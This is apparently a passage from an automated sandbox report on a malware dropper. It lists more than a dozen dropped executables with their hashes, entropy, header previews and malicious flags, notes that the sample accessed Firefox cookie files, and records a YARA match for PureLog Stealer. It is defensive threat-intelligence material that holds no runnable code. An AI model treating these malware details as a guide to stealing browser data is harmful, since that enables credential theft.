SHA1:	40D850D20D82C5646AB7C963BE80E1D7AD236C83
SHA-256:	A1823210FC162B973878B406DE24F1AB91AC49FC23AF5B7DF9D01EA7D2E4601E
SHA-512:	395F5BAAB6D6A5CF4C54886E19C3935C1A4D04673490A2AA7AA326E0E56C52830ED05E333BDDDDAEACB22E71AF9D263F35072CAD35D1574C031350B7232E0CD1
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....=.,.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW.V..PROGRA~1..t......O.ICW.V....B...............J.....p+j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M.....................G-..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.V..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.M.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5382672
Entropy (8bit):	6.621301293389298
Encrypted:	false
SSDEEP:	98304:tfblDCLzsVGzo6WvZ4vALxjloC4/ozr0J:tblO8V+o6dv4iFAnc
MD5:	029B4A16951A6FB1F6A1FDA9B39769B7
SHA1:	A64E56DC24E713637AF0EF71B279F39843E0F0EB
SHA-256:	94DB25630E224DE4D562F408CA6ED1259EAE3645931174FCD57C07AD6933AA61
SHA-512:	3A117B879F96C42387CC088A2F05F441222F0DFBFB4F405F1E09BC03F92CDFB27FFA986A1F9AD4AD1E6E8D2387D3C367A54DCF51A7C2E1F32F48FB15B8406BFC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.........................p...........~+....~+.....~+......~+..................Z...O(......O(............O(......Rich....................PE..L.....Mf...............'..!..........MI.......!...@..........................pl......-R...@..........................................%......................`l.................................................................................... ..!......:.................. ..` N.....!......>..............@..@ .....p$......6..............@....rsrc.........%......F..............@..@ 4.....)..V...(..............@..B.idata..............~..............@....tls....................................themida..A...*...A.................`....reloc.......`l......"R................@........................................................................................................................

C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5154288
Entropy (8bit):	7.171492010172408
Encrypted:	false
SSDEEP:	98304:NllmCKfheKnF4Gnuyjscn9GtGOqHLixnkmb0ZKH4lODcxSgo5Gn8WuMRIn+N3gNX:NllmCKfY2uWUMBHLi6mb0ZKH4lODcxSL
MD5:	D9A7D15AE1511095BC12D4FAA9BE6F70
SHA1:	B90FBB35EB6DD050E4829ECAC702FEAB90F58859
SHA-256:	BDC61E24B03DB5DBDEAF7979906EA51F0BFE388B41D8E7E80BDE6D9ACD716BBA
SHA-512:	F913E5BBB998AD8A391EA99C6D045081DA5AF128B9391C3A0249EC4EEB9A504BE796B3315E7C5B4BAE825B7629527719A845A974F4EBA37BD0233B86E5483E25
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.................P...J..L........K.. ... K...@.. ........................N......GO...@.................................P.K.K.... K..I...........8N..m....N...................................................... ............... ..H............text.....J.. ....J................. ..`.rsrc....I... K..J....J.............@..@.reloc........N......6N.............@..B..................K.....H........=..T...........hY..{.8.........................................6+.(..GJ(......:+.(m..1.(.....V+.(^ Hg..(....8.......B+.(6.YT~..........6+.() sm~.......0..........+.(BTd/ ........8........E........3...8....s.........8....s.........8...s.........8....s......... .....:....&8....s.........8......0..&.......+.(\|.\9.~....o......8....8....8.........0..+.......+.(.r0k8....8....8.....~....o......8........0..&.......+.($R.:.~....o......8....8....8.........0..&.......

C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	221184
Entropy (8bit):	6.939928485719776
Encrypted:	false
SSDEEP:	3072:jMVPYhwPGRcU82DFUT6UX+vkZQ2ftfLmaPUDF2QXrKj1bEVy:IPGdRK2euUXrftjmacDcrj1b
MD5:	EEAB6B508F842CE18D229914CD7167F7
SHA1:	739E0C2CBDC05C27962A4BF5D1388BC31ABC8811
SHA-256:	DCA2FAEC2933DBE461D5583BA92D89633F4C48BB33C39D9F1F9915A323ECCFF3
SHA-512:	465D18D0C28B7579CAC4F4B3B67A0CB065DF699327401D8EDBBF7433083863FF36099BA71D4E9784BDB9CE035209B60B330863DE917C05F247F93EEFBCE4CE74
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\..\..\..Q...F..Q.>.(..Q.?.{..U.M.[..\..9...w?.]..Q...]...w..]..Rich\..........PE..L....R.c.....................L.......?............@..........................@...............................................X..P..................................4Y...............................N..@...............h............................text............................... ..`.rdata...q.......r..................@..@.data....0...p...v...T..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3134464
Entropy (8bit):	7.987488694347116
Encrypted:	false
SSDEEP:	49152:sa24nrYoeu14yHYne7V64z4APA5EtaUi7YcI5NtMQQDF4PAxf0NQdX1fwCm:Dncol14y4e7Vm0xaMcojM/DMAxf0yXF9
MD5:	F57F726F9E1B8C24B4F7C275FFAC78CF
SHA1:	339FED05D2D4A963E734E22741C89979D6B68B73
SHA-256:	AC9BF57379A94E559528BA283CBF74BF0DACF647CBB7F485437C361246FBD123
SHA-512:	C5BE34173BF2B710C57B4497A065FE19FB9DD62459EDFF56FDCC85363CCEDB53FC39989ED287DD07295A15E8DC86BF7902C68BD23E2B765CFC5B0ED94B56FA8F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|..................@......................................@... .. .... .. ..........P.......,........`..4...................0........................................................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@.........`y......(..................@....data.....!.......!.................@...................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228864
Entropy (8bit):	6.12511745585131
Encrypted:	false
SSDEEP:	3072:tneBqhy5aVLOwqI8sgwoEHXfwaNUM+/ORSs5G2Ms4f6TFZbhgvbUxzJ8Y:tETlsgOfDt+/V6JQO98
MD5:	3955AF54FBAC1E43C945F447D92E4108
SHA1:	53C5552C3649619E4E8C6A907B94573F47130FA4
SHA-256:	E6DE332AD778F7A7CF160EFA60656C3AC960DC77806905493D5CFFE58EE1DE16
SHA-512:	FA028A040A5F075296AEBAB7F63A59B6CBBA32EE0964DFC08768396CC012FF5D861191E2478914D79D4A424C3BBA110505A58B97376C44C716F0B1EA70551037
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...sto@sto@sto@!.lA{to@!.jALto@!.kAoto@z..@ato@..nAzto@stn@.to@..jA~to@..mArto@Richsto@........PE..d...A%"^.........."......r..........`;.........@....................................)7....`..................................................o..........0...........................0&..T....................'..(....&..................h............................text....q.......r.................. ..`.rdata..D............v..............@..@.data................f..............@....pdata...............t..............@..@.rsrc...............................@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	470016
Entropy (8bit):	7.710386623324811
Encrypted:	false
SSDEEP:	12288:CKx2l/UOb3qihVErZBo+MV/73TXJELUve:W/L3qihVEVBzMRDXXm
MD5:	D816AEC818E5BE0A3B7AF1AEA4BCA1D8
SHA1:	39F33D063CE0DFB00CA28F591463B497448EF4A7
SHA-256:	6EB4BCD1025074E900C1D7D545F62AE9D92BA787F229B51A628BA941D708DEA2
SHA-512:	FFD4D24764A92F63862F0BD2951AE951B6EC8938851DE223C89EC3B9A9CB36B6381932B274E4336F6B4A4B23A2E7D1539C65D1CD52F8443B6EDF7287F292F842
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.w/...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|................PE..L....Pf...............'.............G............@.......................................@.................................hY..(............................`..L....?...............................>..@...............@............................text.............................. ..`.bss................................ ..`.rdata..............................@..@.data...l....p.......>..............@....reloc..L....`......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2793749
Entropy (8bit):	7.945099975459654
Encrypted:	false
SSDEEP:	49152:ppUlRhkDckBkgWRMvmHxDhii7w5utZQohYXUA+6QHRUa2:ppUlwck+gWFHxDscOufskBUh
MD5:	32D986D13D2B4B6ACDC7ACE345D66BD4
SHA1:	9C3EF3B84F259FF84C4B9D79B40ADF5E7D83340E
SHA-256:	CD0B3A30E1FBEF7E9BD8CDCD5A2169F7343F4C9C43865FC65CA8B2CBF6976D73
SHA-512:	11F14E2064AE55FFE6E85CAE67CFE9EA724979175CBC1E217D4C642939AC1560C2E36DED025DEAD789B0192FD01D81AEE47B56C53FFB8E826752049D74E7AD4B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b#Rich2.b#........................PE..L.....@f...............!.............e............@.......................................@.........................p}..4....}..P.......`....................p......E..T....................F......X...@...................,r.. ....................text...,........................... ..`.rdata..............................@..@.data................t..............@....didat.......p......................@....rsrc...`...........................@..@.reloc......p...,...l..............@..B................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4815512
Entropy (8bit):	7.796002238696443
Encrypted:	false
SSDEEP:	98304:+yjDqWHejZxTbsZFmVRVMGGLwMjzfq/+gIopszmuJDRXts3fYw:+uz+jZuyWTzjzp1opszZL9s3fF
MD5:	C0FEE8DB6325C8C1B3F8CCD13574C65A
SHA1:	2DDC159F8A06218C7622C7CD107598BE1FBD3C99
SHA-256:	D177DC7BA9F3E8511B08293B8CF92AF0BA4DEDD029C9F8365FCF05AFA8375344
SHA-512:	76ED65DC22149C9263C83D73D16A08E99B9137E619FE26AF852ACC2B4AF127C43BD5C6DD2BD16BA117C3432E1422F54157FE6CCB6E9D997E02C776BD52A26BF9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............P...........@..........................0}.......I...@..................................F2.@.....p..-............I..t....o...............................9. .....o.@.............O.......E.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...\|..........................`..`.vmp....>.. 1...>.................`..`.reloc........o.......>.............@..@.rsrc....-....p..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4795544
Entropy (8bit):	7.790038180467164
Encrypted:	false
SSDEEP:	98304:ltzqmVRdoYb1nmPuPeHpxCHleUtEz7M9TrZHYErpLHE3OJots3fYa:ltZVR2uwU7EwtrNUs3ff
MD5:	6151F5177B7B35E3D7CEE99A2FC9AF24
SHA1:	2E0C8320FC5C6E11CFFB6A1A5085DB450F0BAF08
SHA-256:	1186878B54CD5CE32FFE84632051A57E9B62C7243187DB25BBAC6C57D2AD67AF
SHA-512:	69A536208B7E228E0AD51842AA00BA3FAEE4C29D952C15DFE90F8C58A3C7AC3CCE61E0FDEAEA2615FC6268459820F468543D52CF62AFD4D2A026E2A517B63031
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............3S...........@...........................\|.....i.J...@.................................t.L.@.....o..-............H..t....o...............................3. .....o.@............ U.....(#D.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...x..........................`..`.vmp...u>.. 1..v>.................`..`.reloc........o......z>.............@..@.rsrc....-....o..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4791448
Entropy (8bit):	7.801357729474096
Encrypted:	false
SSDEEP:	98304:fvlJEFn6D4/425BLJxuixbvOprXQPmVR64t6Grx+ts3fY:fvlGiS3lPr7OqOR6oMs3f
MD5:	9A78F27AA9D999EEE10CB154BA964869
SHA1:	D1AF2D2D1195415791F59285A9BCFA5EE0880EBD
SHA-256:	CF53B17C2ABC3B8AC0B149E2496726C5C7D67EC0712F56339F2870CA6D616DB6
SHA-512:	B0AB7D1A8492A1A318C10E7402CF36EF22BF80DB77AAC33F744296DCD01B17E438D65D2371FC733AEC28C671CD90DBF6CECB9BC23A9DB1163F183FEB70C7709C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............5i...........@...........................\|.....j.I...@.................................@tl.@.....o..-............H..t....o...............................:. ....lo.@.............m......]l.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp..$m..........................`..`.vmp...d>...1..f>.................`..`.reloc........o......j>.............@..@.rsrc....-....o..8...p>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5784496
Entropy (8bit):	7.99910944014302
Encrypted:	true
SSDEEP:	98304:mekOFPgruSYB8N5sZiRqR0RVfeD8edrD7SOCWMXhcxVWpUicGPlheuw3cclMjl:Hs6+NKmV2D8el73CcXqhPPlheN3cclMR
MD5:	8B7B381CF7D4F577009F99FCE7E5FD39
SHA1:	532A3AA24F4A0EEAEB3178BA1E3B0D5C03919196
SHA-256:	D6E1F4954E9F21CA9B289BE4CFA7B330A944B3618E96C3C8032C531F02E2E644
SHA-512:	FC04EFA1A0EB63B8CA249519DC54F8897DE010F83A38BA225E02B81BEFB6CF5AEF58BBC6883B664DCA666E1A0B79A47C4CAC3D2B35348F3FEBDB48CE4C3EA48C
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@...................@..............................P........,..........................................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....H................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7595262
Entropy (8bit):	7.996899559951484
Encrypted:	true
SSDEEP:	196608:91O5nvaGdWgO+iCmuKFbReaGO/31RZQpbtElhEe:3OBvaGdWgP01FdZQVeP
MD5:	3542F60DFEF8BA16451AB6097587BF63
SHA1:	290FD517CC5834D1216702DBA769B2A286017E7F
SHA-256:	F08C7E5C8715AAE484AC4B4365249EA0374B5CD321D0CDB316FD550086A676EE
SHA-512:	937B842A135C2BC110EBEF75A841141CDF05AEB9AC9364580F7D6A61C6EC7378C979E0C775CB64D210AEF6EFC95AF8C830860350673BA76D8DFBEF379A27947D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\iZZwIALp4_JozG9BWBx9J6Ng.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467478
Entropy (8bit):	5.350880894003256
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8N5a2MChtQZBtnI766D:MksqU5a2MChtQG
MD5:	CE5404E454B9C087A22756D9E39C1CFC
SHA1:	9096D6D3765AEB84213F050CD911A2A4D30B3BE7
SHA-256:	5D132ED50256A151B9E54E53F5E1C4004A689E9276DCF7944FE9CA738D6ABC7C
SHA-512:	D42C6D160F90850560F17F3B9CE344D8B8C76DD476D5ACA32CDC6F92AB5CB01FF99E344D2C92E4CB76DEF09E9C00C0C37C190514C740196B0281CBF001B945D3
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\isZ9GxcFctWxrbwIS510G1_x.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	5.242123603799515
Encrypted:	false
SSDEEP:	24:hYYIzDImyJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rqLKj2CZLY5Mc6NDLYzkYKLlOM
MD5:	8150F458ED6FB9B1DB4E5CFA57A1A281
SHA1:	6E5726854D28687B560D7FDCB5C782C425C7DFB9
SHA-256:	4C13D452DD5D49671BD93CA32F2B4F85C78E39B6AB0AD1F38D98ED267F8FD896
SHA-512:	4CC6A112673AEF8BB8BB8A385C26791B805D43BB707B509880E894F1C83BAB4E16F13DE187036C5F660C3BEC1D286258396B7BDE65C5D7945C5019665196818C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1

C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	363520
Entropy (8bit):	7.572113333742383
Encrypted:	false
SSDEEP:	6144:KnRqyzZ8VqCaMx3CkcY7FGCdGr0gx1POGIAYanWdHBSxz27XrvnksFwemJ:6RqyzZ2IOGCgfPOGI2nWdhSzUbkReG
MD5:	22152460B13E4C2473DC3FCDEA192933
SHA1:	48CE4A69302E860CD905CD02A10AAC942F09D9F3
SHA-256:	51CBA9B4AEFEFAF72A791E1929F98553F50D643A22179A6AAAC9D13F45EA8B43
SHA-512:	1DBCC6F21C9ADFC4F28434CFFAC8C00FB251E3FBF574A69345792837989F74BFC74A67462E7C4F71333A07CAF90E0F3E6C51DAF0B2640BAE3E06AF14C8855104
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.w/...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|................PE..L....Pf...............'.............G............@.......................................@.................................hY..(...............................L....?...............................>..@...............@............................text.............................. ..`.bss................................ ..`.rdata..............................@..@.data....A...p...4...>..............@....reloc..L............r..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\qSpvH8vXzrocweuI4m2T_hvd.exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467335
Entropy (8bit):	5.35094799137627
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8C5a2MChtQZBtnI766P:MksqF5a2MChtQS
MD5:	3F00017D6CF6A50E1CD6ECE9F02F2C9A
SHA1:	21B7187F0FA8F06F741125DE982A969CA3994EF3
SHA-256:	4358CC24C7AC007077780FCE3A5D27C6FD9A2DFC28937BDBB55A7BC894291801
